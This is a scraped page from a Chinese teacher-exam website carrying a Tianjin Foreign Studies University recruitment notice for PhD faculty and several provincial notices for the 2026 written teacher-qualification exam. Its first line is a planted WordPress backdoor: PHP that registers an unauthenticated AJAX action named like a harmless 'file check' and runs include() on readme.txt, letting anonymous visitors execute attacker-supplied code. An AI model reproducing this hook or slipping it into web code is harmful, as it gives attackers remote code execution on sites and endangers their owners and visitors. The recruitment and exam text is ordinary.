if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
天津外国语大学第一批招聘公告-全国教师资格考试网

天津外国语大学第一批招聘公告

根据《中共中央组织部 人力资源社会保障部关于进一步做好事业单位公开招聘工作的通知》(人社部发〔2024〕57号)《中共中央国务院关于全面深化新时代教师队伍建设改革的意见》《天津市事业单位公开招聘人员实施办法》等有关文件要求,结合学校人员需求实际情况,拟面向社会公开招聘具有博士学位的教师岗位人员,现将有关事项公告如下:

一、学校基本情况

天津外国语大学(简称“天津外大”“天外”)是一所主要外语语种齐全,文学、哲学、经济学、管理学、法学、教育学、艺术学等多学科协调发展、特色鲜明的高等学校。学校全面落实党的教育方针,坚持立德树人根本任务,秉承“中外求索 德业竞进”的校训精神,为党育人、为国育才,着力培养高素质复合型国际化人才。

1964年,在周恩来总理关怀下,天津外国语大学应新中国外交事业之需而生,主体前身秦皇岛外语专科学校成立,后更名为河北外国语专科学校、天津外国语专科学校。1974年,更名为天津外国语学院,同年招生的有英、日、法、俄、西班牙等语种专业。1977年,恢复招收全日制本科生。1979年学校开始招收英语和日语专业硕士研究生,1981年被国务院批准为首批硕士学位授予单位。2010年,经教育部批准更名为天津外国语大学。

学校现有58个本科专业。其中,外国语言文学类专业33个(外语语种31个),中国语言文学、新闻传播学等文学门类其他专业以及经济学、管理学、法学、教育学、艺术学门类专业以及数字媒体技术专业25个。有国家级特色专业、国家级本科专业综合改革试点项目5个,国家级一流本科专业建设点16个、天津市级一流本科专业建设点15个。获批国家级一流本科课程6门、天津市级一流本科建设课程49门;获批天津市高校课程思政示范课程14门,天津市高校课程思政优秀教材7种。

学校拥有全国唯一的“党和国家重要文献对外翻译研究”国家特殊需要博士人才培养项目,外国语言文学、中国语言文学等7个硕士学位授权一级学科点(涵盖29个硕士学位培养方向),翻译、新闻与传播、国际中文教育等7个硕士专业学位授权类别(涵盖21个培养方向),其中,外国语言文学学科是天津市一流建设学科、中国语言文学学科是天津市一流培育学科。拥有5个天津市重点学科、4个天津市特色学科群、1个天津市高校服务产业特色学科群。外国语言文学学科具有接收国内高校青年骨干访问学者和一般访问学者资格。

坚持新发展理念,坚持改革创新,推进学校内涵发展,加快建设特色鲜明高水平外国语大学,努力办好人民满意的教育,培养具有家国情怀、全球视野、求索精神、跨文化能力的高素质复合型国际化人才,主动对接新质生产力发展需求,积极助力天津高质量发展,为加快建设社会主义现代国际化大都市,实现中华民族伟大复兴的中国梦作出新的更大贡献。

二、招聘方案发布及岗位

公开招聘方案相关信息于2024年12月5日在天津市教育委员会(https://jy.tj.gov.cn)招聘信息专栏和天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏发布。

具体招聘岗位见附表《天津外国语大学2025年第一批公开招聘计划(博士教师岗位)》。

三、招聘人员条件

(一)应聘人员应具备以下条件

1.具有中华人民共和国国籍;

2.遵守宪法和法律;

3.具有良好的品行;

4.具有岗位所需要的专业或技能,具体参照教育部发布的《研究生教育学科专业目录(2022年)》等相关专业目录执行;对于国内高等院校自主设置的专业和海外留学归国人员所学专业,注重专业内容实质(专业课程修习与学术研究实质内容),并经用人部门(学院)学术委员会研究确定,此两类应聘人员的专业内容与所需专业内容要求一致视为符合专业条件;其中以第二学历或辅修专业报考的,应具有与岗位要求专业一致的学位证书;

5.心理素质良好,具有适应岗位要求的身体条件;

6.忠诚党的教育事业,恪守学术规范,遵守天津外国语大学的各项规章制度,具有优良的学风和高尚的师德,具备较高的学术水平、较强的科研能力和教学能力;

7.满足招聘计划表中要求的岗位资格条件(详见附件公开招聘计划),并提供相应的证明材料,应聘人员须在入职报到前取得最高学历毕业证及学位证,取得境外学历学位报考人员应提供教育部留学服务中心出具的学历学位认证书;

8.岗位年龄条件,详见附件公开招聘计划;

关于年龄界定:报名年龄计算的截止日期为报名工作第一日,例如应聘人员年龄原则上应在35周岁及以下,2024年12月12日开始报名,1988年12月12日及以后出生符合岗位报名条件,以此类推;

9.应届毕业生指2025届高校毕业生,2023、2024年毕业后未就业高校毕业生视同为应届毕业生;

10.非津生源应届毕业生需符合天津市落户条件,外省市人员需符合天津市引进人才的相关政策,社会人员需可以办理调入手续。

(二)凡有下列情况之一者,不得报考

1.曾因犯罪受过刑事处罚或曾被开除公职的人员;

2.正在接受立案审查的人员;

3.涉嫌违纪违法正在接受有关专门机关审查调查尚未作出结论的人员;

4.尚在党纪、政纪、校纪处分期的人员;

5.在公务员招考和事业单位公开招聘中被认定有作弊行为,在禁考期限内的人员;

6.全日制在读的非应届毕业生;

7.现役军人;

8.纳入失信联合惩戒对象被依法限制招聘为事业单位工作人员的;

9.报考人员不得报考聘用后即构成回避关系的招聘岗位;

10.法律规定不得聘用的其他情形的人员。

四、公开招聘程序

按照《中共中央组织部 人力资源社会保障部关于进一步做好事业单位公开招聘工作的通知》(人社部发〔2024〕57号)《天津市事业单位公开招聘人员实施办法》等文件规定的程序开展招聘工作。

(一)报名

本方案所涉岗位有效期至2025年11月30日。本次招聘采取网上报名的方式进行,登录天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏注册报名。2024年12月12日上午9点开始报名(招聘公告发布至报名结束的时间不少于7个工作日,报名时间不少于5个工作日)。学校将根据岗位报名人数情况,发布岗位停止报名的通知,每个岗位报名截止时间以天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏通知为准。具体报名注意事项请随时关注天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏通知。每人限报一个岗位。

(二)资格审查

应聘人员登录报名系统注册填写个人信息、选择应聘岗位、上传相关所需材料。应聘人员提交的申请材料应当真实、全面、准确,凡弄虚造假者,一经查实,即取消应聘资格。学校将对报考人员进行资格审查,应聘人员报名成功后登录报名系统查询资格审查结果,报名结束后,将在天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏发布通过资格审查人员名单。

应聘申请材料包括:①本人学习及工作简历(从高中至今,时间连续);②身份证、全部学习阶段学历学位证书(尚未取得国内学历学位证书须提供《毕业生就业推荐表》)、教育部国外学历学位认证书、任职证明(职称证书)扫描件,实施应届毕业生学历证、学位证“容缺后补”机制,将核查上述证件时间推迟到报到环节,届时如拟聘人员不能提供相关证件,取消其应聘资格;③反映本人创新能力、学术水平、科研业绩及综合素质的相关材料(著作、论文、科研项目、专利、重要获奖等材料目录及扫描件)。④诚信承诺书;⑤副教授以上应聘人员需提供三名同行专家推荐函。

(三)考核

考核前,将对进入考核的应聘人员进行资格复审,应聘人员需持能够证明报名资格的报考材料按要求进行资格复审。未按照规定时间、要求参加资格复审的,视为自动放弃面试资格。资格复审不合格的人员,取消其考核资格。考核及资格复审安排将提前三天在天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏公布,请随时关注。本次公开招聘考试不指定辅导用书,不举办也不委托任何机构举办辅导培训班。

1.普通博士教师岗位考核

考核采取试讲授课、考官提问等方法进行,主要测试与应聘岗位相关的专业知识与技能等,考核应聘人员的思想政治、综合能力、业务水平和整体素质。考官一般由招聘部门有关人员、专家学者等组成。考核成绩满分为100分(保留2位小数),合格线为60分,考核成绩低于合格线的不能进入下一环节。考核成绩即为总成绩,于考核结束后7个工作日内在天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏发布。总成绩由高到低排序,按照招聘岗位1:1的比例,确定参加体检人员名单。若总成绩相同按主考官成绩由高到低排序,确定进入体检考察环节人员名单。

2.副高级以上职称博士教师岗位考核

学校对应聘人员进行评议考核,包括试讲授课、学术讲座、面试答辩、专业技能测试等多种形式,考核内容涵盖应聘人员的报名资格、思想政治、业务水平、健康状况、发展潜力、整体素质等多方面。各岗位考核的时间、具体要求将在天津外国语大学公开招聘专栏发布。

评议考核成绩满分为100分(保留2位小数),合格线为60分,成绩低于合格线的不能进入下一环节。考核成绩即为总成绩,于考核结束后7个工作日内在天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏发布。总成绩由高到低排序,按照招聘岗位1:1的比例,确定参加体检人员名单。总成绩相同按主考官成绩由高到低排序,确定进入体检考察环节人员名单。

具有省部级以上人才称号的应聘人员,提交学校人才工作领导小组评议审核,通过评议审核的应聘人员确定为进入体检人员。

(四)体检

体检的项目、标准,在事业单位公开招聘人员体检标准出台之前,参照国家统一规定的公务员录用体检标准和规程执行。对身体条件有特殊要求的岗位的体检标准,国家有明确规定的,按国家规定执行。进入体检人员须在指定时间按照学校要求进行入职体检,费用自理。通过体检人员进入考察环节。凡未按规定时间、地点、方式和要求参加体检、复检的应聘人员,视为自动放弃应聘资格。体检不合格的人员,将取消进入考察环节资格。

(五)考察

通过体检人员进入考察环节。

考察实行思想政治素质和业务能力双重考察。内容包括应聘人员的政治思想、道德品质、心理素质、诚信守法、业务能力、工作态度和实绩、学习和工作表现、岗位适配性以及需要回避的问题等情况,并对应聘人员资格条件进行复核。考察时间根据岗位需求实际开展,不少于7个工作日。凡未按规定时间、地点、方式和要求参加考察的应聘人员,视为自动放弃应聘资格。考察不合格者,不能进入下一环节。

学校依托全国教师管理信息系统对拟聘用教职员工进行准入查询。查询拟聘用教师已纳入教师资格限制库的丧失、撤销教师资格信息、拟聘用和拟使用教职员工性侵违法犯罪信息,同时依据上级文件相关规定,学校将在招聘考察环节同步查询应聘人员失信联合惩戒情况。如查询不通过,按考察不合格处理,并向相关应聘人员明确相关政策要求、审查依据和申请复查权利。

(六)公示与聘用

学校将根据考核、体检和考察的结果,经学校校长办公会、党委常委会研究确定拟聘用人选,拟聘人员信息公示的范围与招聘公告发布的范围一致,公示时间为7个工作日。

公示期满,对没有异议或者反映的问题不影响聘用的,由学校按照规定程序办理聘用手续;对有严重问题并查有实据的,不予聘用;对反映有严重问题,但一时难以查实的,暂缓聘用,待查实并作出结论后再决定是否聘用。确定拟聘人员后,学校将按照《市人社局关于进一步完善事业单位新聘用人员审核备案工作有关问题的通知》(津人社办发〔2023〕57号)文件规定办理备案、聘用等手续。

通过公示的拟聘人员,原则上须在2025年9月底前完成报到入职手续,除特殊情况经学校批准后最长可延长两个月的报到时限,其它均视为自动放弃。副高级以上职称博士教师岗位通过公示的拟聘人员须在公示期满一年之内完成报到入职手续,除特殊情况经学校批准后最长可延长两个月的报到时限,其它均视为自动放弃。已获聘高级专业技术职务的人员,其担任上一级职务以来的业绩成果一般应符合我校相应级别职务聘任条件。拟聘人员入职后,须遵守学校关于新入职教职工管理的相关规章制度。

公开招聘各环节若出现不合格、自动放弃等情况时,我校将根据津人社局发〔2011〕10号文件执行递补。出现岗位空缺时,我校可根据实际需要在天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏再次发布该岗位重新报名时间及安排。因不可抗力等因素,导致考核、体检、考察等工作安排调整的,调整通知在天津市教委网站(https://jy.tj.gov.cn)招聘信息专栏和天津外国语大学门户网站(https://www.tjfsu.edu.cn)公开招聘专栏再次发布,岗位重新报名时间及安排,另行通知,请考生密切关注。工作日接受电话咨询。

五、纪律与监督

公开招聘工作坚持公开、公平、公正原则,接受社会及有关部门的监督。在招聘过程中若发现应聘人员任何违规、违纪、隐瞒病史、隐瞒特殊情况影响录用或其他不诚信行为,一经查实后立即取消应聘、录用资格。

学校公开招聘工作人员实行回避制度,如存在《事业单位人事管理回避规定》(人社部规〔2019〕1号)、《事业单位公开招聘人员暂行规定》(人事部令第6号)、《天津市事业单位公开招聘人员实施办法(试行)》(津人社局发〔2011〕10号)等文件规定需要回避的情形的,应当回避。

咨询电话:022-23284236 马老师 张老师

咨询邮箱:zhaopin@tjfsu.edu.cn

监督电话:022-81509020 黄老师

受理时间为工作日上午8:30-11:30,下午2:00-5:00。

附表:天津外国语大学2025年第一批公开招聘计划(博士教师岗位)

天津外国语大学

2024年12月5日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部